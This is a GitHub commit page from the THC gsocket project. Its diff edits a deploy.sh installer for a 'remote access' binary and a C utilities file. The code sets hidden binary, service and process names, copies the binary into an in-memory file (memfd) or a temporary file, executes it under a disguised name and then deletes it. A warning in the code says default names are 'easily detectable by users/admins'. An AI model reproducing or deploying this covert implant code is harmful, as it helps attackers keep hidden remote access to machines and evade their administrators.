Skip to content

Commit

Permalink
show-running
Browse files Browse the repository at this point in the history
  • Loading branch information
rootTHC committed Dec 2, 2024
1 parent d5bbded commit 9e6c02f
Show file tree
Hide file tree
Showing 2 changed files with 37 additions and 25 deletions.
27 changes: 16 additions & 11 deletions deploy/deploy.sh
Original file line number Diff line number Diff line change
Expand Up @@ -47,7 +47,7 @@
# - Do not fast forward to a small pid.
# GS_NAME="[kcached]"
# - Specify custom hidden name file & process. Default is picked at random.
# GS_BIN="supervise"
# GS_BIN="fg"
# - Specify custom name for binary on filesystem
# - Set to GS_NAME if GS_NAME is specified.
# GS_SERVICE="supervise"
Expand Down Expand Up @@ -722,6 +722,8 @@ init_vars()
# Select binary
local arch
local osname
local service
local bin
arch=$(uname -m)

if [[ -z "$HOME" ]]; then
Expand Down Expand Up @@ -860,11 +862,12 @@ init_vars()
DEBUGF "ENCODE_STR='${ENCODE_STR}'"

# Defaults
GS_BIN="$(basename "$GS_BIN")"
if [[ -n $GS_BIN ]]; then
BIN_HIDDEN_NAME="${GS_BIN}"
BIN_HIDDEN_NAME_RM+=("${GS_BIN}")
[[ -z $GS_SERVICE ]] && GS_SERVICE="$GS_BIN"
bin="$(basename "$GS_BIN")"
if [[ -n "$bin" ]]; then
BIN_HIDDEN_NAME="${bin}"
BIN_HIDDEN_NAME_RM+=("${bin}")
service="$GS_SERVICE"
[[ -z "$service" ]] && service="$bin"
# Only check for _this_ binary to allow double installs
bin_hidden_name_arr=("${BIN_HIDDEN_NAME}")
else
Expand All @@ -882,7 +885,7 @@ init_vars()
CONFIG_DIR_NAME="${CONFIG_DIR_NAME_DEFAULT}"
[ -n "$DSTDIR" ] && unset config_dir_name_arr

SERVICE_HIDDEN_NAME="${GS_SERVICE:-$SERVICE_HIDDEN_NAME_DEFAULT}"
SERVICE_HIDDEN_NAME="${service:-$SERVICE_HIDDEN_NAME_DEFAULT}"
SERVICE_HIDDEN_NAME="${SERVICE_HIDDEN_NAME%%.*}"

unset LDSO
Expand Down Expand Up @@ -2150,6 +2153,7 @@ gs_start_systemd()
gs_start()
{
local old_pid
local err
[[ -n $IS_GS_RUNNING ]] && return

local len=70
Expand Down Expand Up @@ -2188,9 +2192,9 @@ gs_start()
return
fi

err="$(cd "$HOME"; unset -v GS_CONFIG_READ; "${DSTBIN_EXEC_ARR[@]}" 2>&1)" || { FAIL_OUT "${CDC}unset -v GS_CONFIG_READ; ${DSTBIN_EXEC_ARR[*]}${CN}:"; errexit "$err"; }
OK_OUT ""

(cd "$HOME"; unset -v GS_CONFIG_READ; "${DSTBIN_EXEC_ARR[@]}") || errexit
IS_GS_RUNNING=1
}

Expand Down Expand Up @@ -2225,10 +2229,10 @@ WARN_EXECFAIL

# S= is set. Do not install but connect to remote using S= as secret.
[[ -n "$S" ]] && gs_access

# -----BEGIN Install permanentally-----
if [[ -z $GS_NOINST ]]; then
if [[ -n $IS_DSTBIN_TMP ]]; then
do_config2bin "${DSTBIN}" "${DSTBIN}" "-ilD" "${PROC_HIDDEN_NAME}"
echo -en "Installing remote access.............................................."
FAIL_OUT "${CDR}Set GS_DSTDIR= to a writeable & executable directory.${CN}"
else
Expand Down Expand Up @@ -2269,12 +2273,13 @@ gs_start
# Give gsnc enough time to read the configuration from its own binary before deleting.
[[ -n "$GS_NOINST" ]] && { sleep 1; rm -f "${DSTBIN:?}"; }

echo -e "--> ${CW}Join us on Telegram - https://t.me/thcorg${CN}"
echo -e "--> ${CW}Join us - https://thc.org/ops${CN}"

# Default values are known and easily detected by users/admins.
unset is_warn
[ "$UID" -eq 0 ] && [ -z "$GS_SUPERVISE" ] && is_warn=1
# [ "$UID" -eq 0 ] && [ -z "$GS_SERVICE" ] && is_warn=1
[ -z "$GS_BIN" ] && is_warn=1
[ -z "$GS_NAME" ] && is_warn=1
[ -n "$is_warn" ] && WARN "Using default names is easily detectable.\n Set ${CB}GS_BIN=<filename>${CN} and ${CDC}GS_NAME=<processname>${CN} instead."

exit_code 0
35 changes: 21 additions & 14 deletions tools/utils.c
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@ add_env_argv(int *argcptr, char **argvptr[])
*argvptr = newargv;
}

static void
static int
cpy(int dst, int src) {
char buf[4096];
ssize_t sz;
Expand All @@ -86,11 +86,15 @@ cpy(int dst, int src) {
lseek(src, 0, SEEK_SET);
while (1) {
sz = read(src, buf, sizeof buf);
if (sz <= 0)
if (sz < 0)
return -1;
if (sz == 0)
break;
if (write(dst, buf, sz) != sz)
break;
return -1;
}

return 0;
}

#if !defined(HAVE_EXECVEAT) && defined(HAVE_SYSCALL_H)
Expand All @@ -115,9 +119,9 @@ try_memexecme(int src, char *argv[]) {
if ((fd = memfd_create(gopt.proc_hiddenname, MFD_CLOEXEC)) < 0)
return -1;

cpy(fd, src);

execveat(fd, "", argv, environ, AT_EMPTY_PATH);
if (cpy(fd, src) == 0)
execveat(fd, "", argv, environ, AT_EMPTY_PATH);
close(fd);
#endif
return -1;
}
Expand All @@ -129,17 +133,17 @@ try_cpexecme(const char *dir, int src, char *argv[]) {

char fn[512];
snprintf(fn, sizeof fn, "%s/%s", dir, gopt.proc_hiddenname);
setenv("_GS_DELME", fn, 1);
if ((dst = open(fn, O_WRONLY | O_CREAT | O_CLOEXEC, S_IRWXU)) < 0)
return -1;

cpy(dst, src);

if (cpy(dst, src) == 0) {
setenv("_GS_DELME", fn, 1);
execv(fn, argv);
unsetenv("_GS_DELME");
}
XCLOSE(dst);
execv(fn, argv);
// HERE: ERROR: execv() failed.
// HERE: ERROR: cpy() or execv() failed.
unlink(fn);
unsetenv("_GS_DELME");

return -1;
}
Expand Down Expand Up @@ -431,8 +435,11 @@ try_changeargv0(int argc, char *argv[]) {
if (GS_GETENV2("CONFIG_WRITE") != NULL)
return;

if (GSNC_config_read(myself_exe) != 0)
if (GSNC_config_read(myself_exe) != 0) {
if (GS_GETENV2("SHOW_RUNNING"))
exit(255);
return;
}

if (gopt.proc_hiddenname == NULL) {
DEBUGF("Config has no PROC_HIDDENNAME.\n");
Expand Down Expand Up @@ -782,7 +789,7 @@ init_vars(void)
// do not allow execution without supplied secret.
if ((gs_args == NULL) && (is_sec_by_prompt)) {
system("uname -a");
exit(0);
exit(1);
}
}

Expand Down

0 comments on commit 9e6c02f

Please sign in to comment.